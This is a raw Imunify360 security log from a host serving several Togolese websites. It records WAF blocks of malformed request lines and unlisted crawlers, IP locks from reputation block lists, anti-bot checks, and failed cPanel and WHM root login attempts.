IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/togo-322-milliards-cfa-pour-renforcer-la-securite-nationale/ HTTP/1.1||RSV:8.16||T:APACHE||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 162.212.156.59
country_id: 6252001
domain: lct-togo.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.16||T:APACHE||RA:162.212.156.59||TA:162.212.156.59||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 162.212.156.59
country_id: 6252001
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:16-34.162.212.156.59||RSV:8.16||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 118.25.67.181
country_id: 1814991
description:
Jun 13 16:34:34 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 118.25.67.181 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 182.9.1.52
country_id: 1643084
domain: ca-togo.org
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/ca-togo.org/presentation HTTP/1.1||RSV:8.16||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 172.98.32.226
country_id: 6252001
description:
172.98.32.226 - - [13/Jun/2026:16:37:17 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13198186&pdata=https%253A%252F%252Fwww.letabloid.tg%252F2026%252F06%252F12%252Fles-patronnes-dentreprises-a-lhonneur%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781368632 HTTP/2.0" 302 0 www.letabloid.tg "https://www.letabloid.tg/2026/06/12/les-patronnes-dentreprises-a-lhonneur/" "Mozilla/5.0 (iPhone; CPU iPhone OS 18_7 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/26.5 Mobile/15E148 Safari/604.1" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:172.98.32.226


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 195.3.220.88
country_id: 798544
description:
[2026-06-13 16:37:23 +0000] info [cpaneld] 195.3.220.88 - arsetg "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 146.190.154.100
country_id: 6252001
description:
Jun 13 16:40:09 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 146.190.154.100 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 161.97.152.167
country_id: 3017382
description:
[2026-06-13 16:40:02 +0000] info [whostmgrd] 161.97.152.167 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 161.97.152.167
country_id: 3017382
description:
[2026-06-13 16:40:03 +0000] info [whostmgrd] 161.97.152.167 - root "GET /scripts2/listaccts HTTP/1.1" DEFERRED LOGIN whostmgrd: security token missing


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 105.116.9.5
country_id: 2328926
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2026/06/7b86f36d139d8581d4b5a4f155ba431c-1680019179-768x432.webp 768w, http:/togodailynews.tg/wp-content/uploads/2026/06/7b86f36d139d8581d4b5a4f155ba431c-1680019179-300x169.webp 300w, http:/togodailynews.tg/wp-content/uploads/2026/06/7b86f36d139d8581d4b5a4f155ba431c-1680019179-1024x576.webp 1024w, http:/togodailynews.tg/wp-content/uploads/2026/06/7b86f36d139d8581d4b5a4f155ba431c-1680019179.webp 1248w HTTP/1.1||RSV:8.16||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.232.58.33
country_id: 1562822
domain: ca-togo.org
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/ca-togo.org/actualite/detail/visite-dimmersion-du-cat-a-lasaci-sur-la-digitalisation-des-attestations-dassurances HTTP/1.1||RSV:8.16||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 79.108.218.58
country_id: 1562822
description:
Jun 13 16:43:52 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 79.108.218.58 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 171.235.234.156
country_id: 1562822
domain: ca-togo.org
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/ca-togo.org/actualite/detail/assemblee-generale-ordinaire-et-budgetaire-du-cat-04-mars-2025 HTTP/1.1||RSV:8.16||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.120
country_id: 1880251
description:
47.128.96.120 - - [13/Jun/2026:16:45:18 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7117165&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fburkina-faso%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781369117 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/burkina-faso/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.120


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 109.177.169.249
country_id: 290557
domain: togomedia24.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togomedia24.tg/2024/07/29/un-petrolier-battant-pavillon-togolais-intercepte-en-iran/ HTTP/1.1||RSV:8.16||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 37.221.157.76
country_id: 690791
description:
Jun 13 16:47:40 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 37.221.157.76 has been locked due to Imunify RBL


